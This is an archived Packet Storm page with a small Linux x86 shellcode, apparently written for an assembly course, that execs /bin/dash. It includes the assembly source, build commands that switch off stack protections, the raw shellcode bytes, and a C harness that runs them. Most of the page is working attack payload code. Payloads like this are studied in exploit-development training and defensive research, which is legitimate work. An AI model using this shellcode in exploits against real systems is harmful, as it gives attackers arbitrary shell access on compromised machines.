what you don't know can hurt you

Linux x86 exec /bin/dash Shellcode

Linux x86 exec /bin/dash Shellcode
Posted Jan 9, 2018
Authored by Hashim Jawad

30 bytes small Linux x86 exec /bin/dash shellcode.

tags | x86, shellcode
systems | linux
MD5 | e73a8aae13cbff1019f6a54b3efdd89f

Linux x86 exec /bin/dash Shellcode

Change Mirror Download
/*

################## Description ####################

; Title : exec /bin/dash - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : spawn /bin/dash shell
; OS : Linux
; Arch : x86
; Size : 30 bytes

################### dash.nasm #####################

global _start

section .text

_start:

; push NULL into the stack
xor eax, eax
push eax

; push (////bin/dash) into the stack

push 0x68736164
push 0x2f6e6962
push 0x2f2f2f2f

; push ESP pointer to EBX
mov ebx, esp

; execute __NR_execve syscall
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb
int 0x80

################### dash binary #####################

nasm -f elf32 -o dash.o dash.nasm

ld -z execstack -o dash dash.o

################### Shellcode ########################

objdump -d dash -M intel

################## Compile #########################

gcc -fno-stack-protector -z execstack dash.c -o dash

*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";


main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    10 Files
  • 23
    Apr 23rd
    22 Files
  • 24
    Apr 24th
    4 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close